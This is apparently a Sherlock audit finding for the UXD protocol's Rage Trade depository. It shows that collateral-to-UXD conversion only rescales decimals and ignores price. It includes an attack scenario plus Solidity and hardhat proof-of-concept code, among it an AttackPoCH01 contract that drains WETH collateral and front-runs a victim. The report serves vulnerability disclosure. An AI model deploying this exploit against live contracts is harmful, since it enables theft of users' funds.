serial-coder

high

# [H-01] Stealing All Collateral Assets On Rage Trade

## Summary

The conversion mechanism between asset tokens (collateral) and redeemable tokens through the functions `_assetsToRedeemable()` and `_redeemableToAssets()` of the `RageDnDepository` contract is incorrect.

This vulnerability allows attackers to steal all PERP positions' collaterals opening on the `Rage Trade`.

## Vulnerability Detail

The vulnerability resides in the functions `RageDnDepository._assetsToRedeemable()` and `RageDnDepository._redeemableToAssets()`.

The `_assetsToRedeemable()` function (L172 - 182 in Snippet 1) is invoked by the external function `deposit` (L110).  Whereas the `_redeemableToAssets()` function (L184 - 194 in Snippet 2) is called by the external function `redeem` (L128).

```solidity
SNIPPET: 1
FILE: https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/integrations/rage-trade/RageDnDepository.sol
LOCATIONS: L110 and L178 - 181

99:     function deposit(address asset, uint256 assetAmount)
100:        external
101:        onlyController
102:        returns (uint256)
103:    {
104:        if (asset != assetToken) {
105:            revert UnsupportedAsset(asset);
106:        }
107:        netAssetDeposits += assetAmount;
108:        IERC20(assetToken).approve(address(vault), assetAmount);
109:        uint256 shares = vault.deposit(assetAmount, address(this));
110: *      uint256 redeemableAmount = _assetsToRedeemable(assetAmount);
111:        redeemableUnderManagement += redeemableAmount;
112:        _checkSoftCap();
113:        emit Deposited(msg.sender, assetAmount, redeemableAmount, shares);
114:        return redeemableAmount;
115:    }

        // ...

172:    function _assetsToRedeemable(uint256 assetAmount)
173:        private
174:        view
175:        returns (uint256)
176:    {
177:        return
178: *          assetAmount.fromDecimalToDecimal(
179: *              IERC20Metadata(assetToken).decimals(),
180: *              IERC20Metadata(redeemable).decimals()
181: *          );
182:    }
```

```solidity
SNIPPET: 2
FILE: https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/integrations/rage-trade/RageDnDepository.sol
LOCATIONS: L128 and L190 - 193

120:    function redeem(address asset, uint256 redeemableAmount)
121:        external
122:        onlyController
123:        returns (uint256)
124:    {
125:        if (asset != assetToken) {
126:            revert UnsupportedAsset(asset);
127:        }
128: *      uint256 assetAmount = _redeemableToAssets(redeemableAmount);
129:        redeemableUnderManagement -= redeemableAmount;
130:        netAssetDeposits -= assetAmount;
131:        uint256 shares = vault.withdraw(
132:            assetAmount,
133:            address(controller),
134:            address(this)
135:        );
136:        emit Withdrawn(msg.sender, assetAmount, redeemableAmount, shares);
137:        return assetAmount;
138:    }

        // ...

184:    function _redeemableToAssets(uint256 redeemableAmount)
185:        private
186:        view
187:        returns (uint256)
188:    {
189:        return
190: *          redeemableAmount.fromDecimalToDecimal(
191: *              IERC20Metadata(redeemable).decimals(),
192: *              IERC20Metadata(assetToken).decimals()
193: *          );
194:    }
```

```solidity
SNIPPET: 3
FILE: https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/core/UXDController.sol
LOCATIONS: L328, L336, and L337

312:    function _redeem(InternalRedeemParams memory redeemParams)
313:        internal
314:        returns (uint256)
315:    {
316:        if (!whitelistedAssets[redeemParams.assetToken]) {
317:            revert CtrlNotWhitelisted(redeemParams.assetToken);
318:        }
319:        if(redeemable.allowance(msg.sender, address(this)) < redeemParams.amountToRedeem) {
320:            revert CtrlNotApproved(address(redeemable), msg.sender, redeemParams.amountToRedeem);
321:        }
322:        
323:        address depository = router.findDepositoryForRedeem(
324:            redeemParams.assetToken,
325:            redeemParams.amountToRedeem
326:        );
327:
328: *      uint256 amountOut = IDepository(depository).redeem(
329:            redeemParams.assetToken, 
330:            redeemParams.amountToRedeem
331:        );
332:
333:        if (amountOut < redeemParams.minAmountOut) {
334:            revert CtrlMinNotMet(redeemParams.minAmountOut, amountOut);
335:        }
336: *      redeemable.burn(msg.sender, redeemParams.amountToRedeem);
337: *      IERC20(redeemParams.assetToken).transfer(redeemParams.intermediary, amountOut);
338:
339:        return amountOut;
340:    }
```

The `_assetsToRedeemable()` function converts the asset tokens (collateral) to redeemable tokens by adjusting the asset token's decimals to the redeemable token's decimals.

Whereas the `_redeemableToAssets()` function performs a similar process conversely.

**I discovered that the conversion mechanism is vulnerable if the asset token and the redeemable token have different underlying values, allowing attackers to steal all PERP positions' collaterals (asset tokens) opening on the `Rage Trade`.**

To elaborate on the vulnerability, consider the following attack scenario.

1. Assuming that the PREP positions are opening on the *WETH* market of the `Rage Trade` with 100 WETH deposited in total.
2. Attacker spends 100 USDC for minting 100 UXD (redeemable token) via the *USDC* market of the `Perpetual Protocol` or the `Rage Trade`.
3. Attacker invokes the function `UXDController.redeem()` to redeem 100 UXD (redeemable token) for WETH tokens (target asset).
	1. The internal function `UXDController._redeem()` is invoked to route the execution to the *WETH* market of the `Rage Trade` (L328 in Snippet 3) by calling the `RageDnDepository.redeem()` function (L120 - 138 in Snippet 2).
	2. The `RageDnDepository.redeem()` function executes the `_redeemableToAssets()` function (L128 in Snippet 2) to compute the `assetAmount` of the *WETH* to retrieve to the attacker for the redemption.
	3. Since the `_redeemableToAssets()` function is vulnerable, the function returns the `assetAmount`'s value of `100 * 10 ** 18` (i.e., 100 WETH) as a result.
	4. The `UXDController._redeem()` function burns 100 UXD (redeemable token) from the attacker account (L336 in Snippet 3) and transfers 100 WETH (according to the computed `assetAmount`) to the attacker (L337).
4. Attacker performs the steps 1 - 3 above on other markets of the `Rage Trade` to drain all collateral assets.

### Further Analysis

The attack scenario described above is just one of the possible scenarios. With this vulnerability, attackers can also profit by just minting UXD tokens (UXD token has a stable price pegged at $1) using any whitelisted ERC-20 tokens that have a value less than $1.

Moreover, even typical users can lose their funds suddenly after they mint UXD tokens using any whitelisted ERC-20 tokens that have a value greater than $1 (e.g., WETH). 

Specifically, users can sacrifice their 1 WETH for minting 1 UXD. Even if the users may redeem their minted UXD back to 1 WETH immediately after they find the protocol's error. However, that is not a guaranteed solution, as attackers can front-run the users' transactions to steal their WETH collaterals. See the `Proof Of Concept` section below for a detailed explanation.

### Proof Of Concept

This section presents the Proof-of-Concept code for the vulnerability, consisting of five files.

The snippet below shows the `MockWETH9` contract that emulates the legitimate `WETH9` contract. This file is required because the existing `TestWETH9` contract is not fully compatible with the `WETH9` contract.

Please place this file at `contracts/test/MockWETH9.sol` (new file).

```solidity
// SPDX-License-Identifier: BUSL-1.1-3.0-or-later
pragma solidity ^0.8.17;

contract MockWETH9 {
    string public name = "Wrapped Ether";
    string public symbol = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping(address => uint) public  balanceOf;
    mapping(address => mapping(address => uint)) public  allowance;

    constructor() {
        balanceOf[msg.sender] += 1_000_000 * 10 ** 18;
    }

    receive() external payable {
        deposit();
    }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
    public
    returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}
```

The below snippet presents the `TestVulnRageDepository` contract. This contract contains the functions `_assetsToRedeemable()` and `_redeemableToAssets()` that I want to prove the vulnerability.

Please place this file at `contracts/test/TestVulnRageDepository.sol` (new file).

```solidity
// SPDX-License-Identifier: BUSL-1.1-3.0-or-later
pragma solidity ^0.8.17;

import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {MathLib} from "../libraries/MathLib.sol";

/// @title TestVulnRageDepository
/// @dev Test depository functions without external interactions
contract TestVulnRageDepository {
    using MathLib for uint256;

    event CollateralDeposited(address indexed token, uint256 amount);
    event CollateralWithdrawnTo(
        address indexed token,
        uint256 amount,
        address indexed to
    );
    event Deposited(
        address indexed caller,
        uint256 assets,
        uint256 redeemable,
        uint256 shares
    );
    event Withdrawn(
        address indexed caller,
        uint256 assets,
        uint256 redeemable,
        uint256 shares
    );

    address public assetToken;
    address public redeemable;
    uint256 public netAssetDeposits;

    function initialize(
        address _assetToken,
        address _redeemable
    ) public {
        assetToken = _assetToken;
        redeemable = _redeemable;
    }

    function deposit(address asset, uint256 assetAmount)
        external
        returns (uint256)
    {
        emit CollateralDeposited(address(asset), assetAmount);
        if (asset != assetToken) {
            revert("UnsupportedAsset");
        }
        netAssetDeposits += assetAmount;

        uint256 redeemableAmount = _assetsToRedeemable(assetAmount);
        
        emit Deposited(msg.sender, assetAmount, redeemableAmount, 0);
        return redeemableAmount;
    }

    function _assetsToRedeemable(uint256 assetAmount)
        private
        view
        returns (uint256)
    {
        return
            assetAmount.fromDecimalToDecimal(
                IERC20Metadata(assetToken).decimals(),
                IERC20Metadata(redeemable).decimals()
            );
    }

    function redeem(address asset, uint256 redeemableAmount)
        external
        returns (uint256)
    {
        emit CollateralWithdrawnTo(asset, redeemableAmount, address(0));
        if (asset != assetToken) {
            revert("UnsupportedAsset");
        }
        uint256 assetAmount = _redeemableToAssets(redeemableAmount);
        netAssetDeposits -= assetAmount;
        emit Withdrawn(msg.sender, assetAmount, redeemableAmount, 0);
        return assetAmount;
    }

    function _redeemableToAssets(uint256 redeemableAmount)
        private
        view
        returns (uint256)
    {
        return
            redeemableAmount.fromDecimalToDecimal(
                IERC20Metadata(redeemable).decimals(),
                IERC20Metadata(assetToken).decimals()
            );
    }
}
```

The snippet below shows the `AttackPoCH01` contract that an attacker will use to prove the vulnerability.

Please place this file at `contracts/test/AttackPoCH01.sol` (new file).

```solidity
// SPDX-License-Identifier: BUSL-1.1-3.0-or-later
pragma solidity ^0.8.17;

import {IUXDController} from "../core/IUXDController.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AttackPoCH01 {
    IUXDController public controller;
    IERC20 public weth;
    IERC20 public usdc;
    IERC20 public uxd;

    constructor(address _controller, address _weth, address _usdc, address _uxd) {
        controller = IUXDController(_controller);
        weth = IERC20(_weth);
        usdc = IERC20(_usdc);
        uxd = IERC20(_uxd);
    }

    function attackWethDepository(uint256 _amount) external {
        usdc.transferFrom(msg.sender, address(this), _amount);
        usdc.approve(address(controller), _amount);
        controller.mint(address(usdc), _amount, 0, address(this));

        uxd.approve(address(controller), _amount);
        controller.redeem(address(weth), _amount, 0, msg.sender);
    }
}
```

The below file provides the hardhat fixture `pocH01Fixture`.

Please place this file at `test/fixtures/pocH01Fixture.ts` (new file).

```typescript
import { ethers, upgrades } from "hardhat";
import { TestVulnRageDepository, TestERC20, MockWETH9, UXDController, UXDRouter, AttackPoCH01 } from "../../typechain-types";

export async function pocH01Fixture() {
    const weth = await (await ethers.getContractFactory("MockWETH9")).deploy() as MockWETH9;
    const uxd = await (await ethers.getContractFactory("TestERC20")).deploy("UDX", "UXD") as TestERC20;
    const usdc = await (await ethers.getContractFactory("TestERC20")).deploy("USDC", "USDC") as TestERC20;

    const UXDController = await ethers.getContractFactory("UXDController")
    const controller = await upgrades.deployProxy(UXDController, [weth.address]) as UXDController;

    const router = await (await ethers.getContractFactory("UXDRouter")).deploy() as UXDRouter;

    const VulnRageDepository = await ethers.getContractFactory("TestVulnRageDepository")
    const usdcDepository = await upgrades.deployProxy(VulnRageDepository, [usdc.address, uxd.address]) as TestVulnRageDepository;
    const wethDepository = await upgrades.deployProxy(VulnRageDepository, [weth.address, uxd.address]) as TestVulnRageDepository;

    await (await router.registerDepository(usdcDepository.address, usdc.address)).wait();
    await (await router.registerDepository(wethDepository.address, weth.address)).wait();
    await (await controller.whitelistAsset(usdc.address, true)).wait();
    await (await controller.whitelistAsset(weth.address, true)).wait();
    await (await controller.updateRouter(router.address)).wait();
    await (await controller.setRedeemable(uxd.address)).wait();

    const transferAmount = ethers.utils.parseEther("100");
    await (await usdc.transfer(controller.address, transferAmount)).wait();

    await (await weth.deposit({value: transferAmount})).wait();
    await (await (weth.transfer(controller.address, transferAmount))).wait();

    const attack = await (await ethers.getContractFactory("AttackPoCH01")).deploy(controller.address, weth.address, usdc.address, uxd.address) as AttackPoCH01;

    return {controller, router, usdcDepository, wethDepository, weth, usdc, uxd, attack};
}
```

The snippet below shows my test code.

Please insert this code in `test/core/UXDController.test.ts` (existing file).

```typescript
import { pocH01Fixture } from "../fixtures/pocH01Fixture";

// ...

it("PoC H-01 -- stealing all collateral assets on Rage Trade", async () => {
    const {controller, weth, usdc, uxd, attack} = await loadFixture(pocH01Fixture);
    const amount = ethers.utils.parseEther("1");
    const minAmountOut = 0;

    let attacker: SignerWithAddress;
    [, , attacker] = await ethers.getSigners();

    // Initialize the PoC (transfer 1 WETH to Bob and 1 USDC to Attacker)
    await (await weth.transfer(bob.address, ethers.utils.parseEther("1"))).wait();
    await (await usdc.transfer(attacker.address, ethers.utils.parseEther("1"))).wait();

    // Bob deposits 1 WETH for minting UXD...
    let bobUxdBalanceBefore = await uxd.balanceOf(bob.address);
    await (await weth.connect(bob).approve(controller.address, amount)).wait();
    await expect (controller.connect(bob).mint(weth.address, amount, minAmountOut, bob.address)).to.emit(controller, "Minted");
    let bobUxdBalanceAfter = await uxd.balanceOf(bob.address);

    // Bob realizes the protocol's error (he received only 1 UXD)
    // So he tries to redeem 1 UXD to get back his 1 WETH
    expect(
        bobUxdBalanceAfter.sub(bobUxdBalanceBefore).div(ethers.utils.parseUnits('1', await uxd.decimals()))
    ).to.equal(1);

    // Attacker detects Bob's activity
    // They front-run Bob's transaction
    let attackerWethBalanceBefore = await weth.balanceOf(attacker.address);

    await (await usdc.connect(attacker).approve(attack.address, amount)).wait();
    await (await attack.connect(attacker).attackWethDepository(amount)).wait();

    let attackerWethBalanceAfter = await weth.balanceOf(attacker.address);

    // Attacker stole 1 WETH!!
    expect(
        attackerWethBalanceAfter.sub(attackerWethBalanceBefore).div(ethers.utils.parseUnits('1', await weth.decimals()))
    ).to.equal(1);

    // Bob's redeem() transaction is executed after the theft
    // Bob's transaction is reverted because his WETH was stolen
    await (await uxd.connect(bob).approve(controller.address, amount)).wait();
    await expect (controller.connect(bob).redeem(weth.address, amount, 0, bob.address)).to.reverted;
});
```

**The PoC code above proves that an attacker can steal Bob's WETH from the `TestVulnRageDepository` contract by front-running Bob's transaction using the `AttackPoCH01` as a helper contract.**

## Impact

The vulnerability in this issue allows attackers to steal all PERP positions' collateral assets opening on the `Rage Trade`. 

As described in the attack scenario above, the attack is straightforward and requires attackers only a few funds to gain enormous profits. As discussed in the above `Further Analysis` section, moreover, even typical users can lose their funds by this vulnerability. 

For this reason, the vulnerability in this issue poses a HIGH (or even CRITICAL) risk (with HIGH likelihood and HIGH impact).

## Code Snippet

https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/integrations/rage-trade/RageDnDepository.sol#L172-L182

https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/integrations/rage-trade/RageDnDepository.sol#L184-L194

https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/core/UXDController.sol#L245-L253

https://github.com/sherlock-audit/2023-01-uxd/blob/main/contracts/core/UXDController.sol#L328-L337

## Tool used

Manual Review

## Recommendation

Consider improving the associated conversion mechanism between asset tokens (collateral) and redeemable tokens of the `RageDnDepository` contract.

And employ comprehensive test cases to ensure that the improved mechanism must compute the correct conversion results.